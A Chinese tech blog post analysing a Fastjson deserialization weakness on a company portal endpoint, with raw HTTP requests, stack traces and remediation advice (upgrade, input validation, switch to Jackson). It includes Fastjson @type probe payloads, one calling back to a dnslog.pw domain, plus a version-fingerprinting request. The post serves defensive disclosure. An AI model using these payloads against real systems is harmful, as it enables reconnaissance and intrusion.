FastJson引入存在DDos攻击安全漏洞案例分析

文摘   2024-08-20 07:15   云南  

 

点击上方蓝字关注我们



 

背景

 

某集团公司门户网站接口存在DDos攻击安全漏洞,其他服务端工程中依赖Fastjson进行序列化。Fastjson是阿里巴巴开发的一款高性能的Java JSON处理库。本身在处理JSON数据时可能存在安全性问题,如JSON注入攻击。DDoS攻击是指攻击者通过控制大量网络设备(如个人电脑、服务器、物联网设备等),向目标网站或服务器发送海量的、并非出于正常业务需要的访问请求,以耗尽目标系统或网站的资源,导致用户无法正常使用该系统或访问该网站,从而达到破坏网站或在线服务正常运营的目的。

 

原理

 

利用Fastjson的某些漏洞(如反序列化漏洞)来构造攻击载荷,从而可能间接导致目标系统资源耗尽,形成类似DDoS的效果。

 

过程

 

我们看到如下模拟测试HTTP接口请求,响应时间分别是14.3秒与10秒, 攻击者可以基于这个慢响应时间发起对服务器进行DDos攻击


Response test


HTTP请求与响应报文

详细HTTP请求与响应报文报文如下:

POST https://xxxx/ws/isCaptcha
HTTP/1.1
Host: xxxx
Content-Length: 70
Accept: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/json
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxxx"}}

HTTP/1.1 500
Content-Type: text/html;charset=utf-8
Content-Length: 7812
Connection: keep-alive
vary: accept-encoding
Content-Language: en
Date: Sat, 30 Mar 2024 07:12:30 GMT
X-Kong-Upstream-Latency: 7
X-Kong-Proxy-Latency: 1
Via: kong/0.14.0
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Request processing failed; nested exception is com.alibaba.fastjson.JSONException: java.net.InetSocketAddress cannot be cast to java.util.Map</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>org.springframework.web.util.NestedServletException: Request processing failed; nested exception is com.alibaba.fastjson.JSONException: java.net.InetSocketAddress cannot be cast to java.util.Map
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:965)
org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:855)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:829)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
filter.AccessFilters.doFilter(AccessFilters.java:74)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:106)
</pre><p><b>Root Cause</b></p><pre>com.alibaba.fastjson.JSONException: java.net.InetSocketAddress cannot be cast to java.util.Map
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:710)
com.alibaba.fastjson.JSON.parseObject(JSON.java:394)
com.alibaba.fastjson.JSON.parseObject(JSON.java:362)
com.alibaba.fastjson.JSON.parseObject(JSON.java:325)
com.xxxx.c2.web.converter.FastJsonMessageConverter.read(FastJsonMessageConverter.java:93)
org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodArgumentResolver.readWithMessageConverters(AbstractMessageConverterMethodArgumentResolver.java:143)
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.readWithMessageConverters(RequestResponseBodyMethodProcessor.java:180)
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.resolveArgument(RequestResponseBodyMethodProcessor.java:95)
org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:77)
org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:157)
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:124)
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:104)
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandleMethod(RequestMappingHandlerAdapter.java:745)
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:685)
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:80)
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:919)
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:851)
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:953)
org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:855)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:829)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
filter.AccessFilters.doFilter(AccessFilters.java:74)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:106)
</pre><p><b>Root Cause</b></p><pre>java.lang.ClassCastException: java.net.InetSocketAddress cannot be cast to java.util.Map
com.alibaba.fastjson.parser.deserializer.MapDeserializer.parseMap(MapDeserializer.java:217)
com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:69)
com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:43)
com.alibaba.fastjson.parser.deserializer.ContextObjectDeserializer.deserialze(ContextObjectDeserializer.java:9)
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:705)
com.alibaba.fastjson.JSON.parseObject(JSON.java:394)
com.alibaba.fastjson.JSON.parseObject(JSON.java:362)
com.alibaba.fastjson.JSON.parseObject(JSON.java:325)
com.xxxx.c2.web.converter.FastJsonMessageConverter.read(FastJsonMessageConverter.java:93)
org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodArgumentResolver.readWithMessageConverters(AbstractMessageConverterMethodArgumentResolver.java:143)
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.readWithMessageConverters(RequestResponseBodyMethodProcessor.java:180)
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.resolveArgument(RequestResponseBodyMethodProcessor.java:95)
org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:77)
org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:157)
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:124)
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:104)
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandleMethod(RequestMappingHandlerAdapter.java:745)
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:685)
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:80)
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:919)
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:851)
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:953)
org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:855)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:829)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
filter.AccessFilters.doFilter(AccessFilters.java:74)
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:106)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/8.5.65</h3></body></html>

 

报文分析

 

敏感信息泄露:

服务器响应中包含了异常的堆栈跟踪信息,这可能泄露了服务器的内部实现细节,攻击者可能利用这些信息进行进一步的攻击。

响应头中的Apache Tomcat/8.5.65表明服务器使用的是Tomcat 8.5版本,这个版本存在已知的安全漏洞,Tomcat 8.5.65存在安全漏洞分别是CVE-2023-45648,建议升级到最新的安全版本。


Tomcat 8.5.65漏洞


暴露网关Kong版本0.14.0

X-Kong-Upstream-Latency: <latency>:latency是Kong从 upstream service 接收到响应所等待的时间,单位为毫秒

通过ScanPort端口扫描,进一步获取其他开放端口情况


Port Scan


Kong未授权访问漏洞CVE-2020-11710

缺乏错误处理:
服务器在遇到错误时没有进行适当的错误处理,而是直接将异常信息返回给了客户端,这不仅对用户体验不好,也增加了安全风险。

缺乏输入验证:
从异常信息来看,服务器端在解析JSON时没有进行足够的输入验证,导致类型转换错误。这表明服务器端可能缺乏对输入数据的严格校验。

安全性配置不足:
服务器配置可能没有考虑到错误处理和信息泄露的问题,需要对服务器的错误响应进行配置,避免敏感信息泄露。


 

测试方法

 

Fastjson的autotype可能DDOS攻击漏洞,如HTTP接口响应时间 10-20秒, 则存在DDOS安全攻击风险

请求头

POST https://XXXX/ws/isCaptcha HTTP/1.1
Content-Length: 335
Accept: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/json

请求体

{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{1:{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}},"country":"aaa.qmc8xj4s.dnslog.pw"}}}



FastJson版本检测方法

如下示例,我们看到FastJson的1.2.83版本信息暴露

请求体:

POST http://xxx.cn/ws/isCaptcha
HTTP/1.1
Content-Length: 41
Content-Type: application/json
{
"@type": "java.lang.AutoCloseable"

响应(其有已有Fastjson版本):

HTTP/1.1 500
Content-Type: application/json
Connection: keep-alive
Date: Thu, 02 May 2024 03:20:02 GMT
X-Kong-Upstream-Latency: 5
X-Kong-Proxy-Latency: 0
Via: kong/2.0.1
Content-Length: 174
{"timestamp":1714620002102,"status":500,"error":"Internal Server Error","message":"syntax error, expect {, actual EOF, pos 0, fastjson-version 1.2.83","path":"/ws/isCaptcha"}


解决方案

及时升级Fastjson版本
密切关注Fastjson官方发布的安全公告和更新信息,及时将Fastjson库升级到最新版本。新版本通常会修复已知的安全漏洞,提高系统的安全性。
输入验证:
对所有从外部接收的JSON数据进行严格的输入验证。只接受符合预期格式和内容的JSON数据,对包含恶意代码的输入进行过滤或拒绝处理。
审计和监控:
定期对系统进行安全审计和监控,以便及时发现和处理潜在的安全威胁。
使用安全的 JSON 库:
使用像 Jackson 或 Gson 这样的库,它们通常有更好的安全性特性,比如禁用特定的类或使用安全配置。

禁用不安全的反序列化
如果可能的话,完全避免使用不安全的反序列化技术。

 

结论

 

    本案例通过测试与验证发现接口响应时间慢导致DDos攻击安全漏洞,服务端又暴露组件FastJson,Spring,Tomcat等,其实质是Fastjson引入的问题,替换web层依赖Fastjson为Jackson序列化配置。可以短期內解决这个安全漏洞。

 

 


Megadotnet
为您介绍各体系平台的新闻,系统研发相关框架,组件,方法,过程,运维,设计。企业IT与互联网信息系统或产品解决方案。开源项目,项目管理。
 最新文章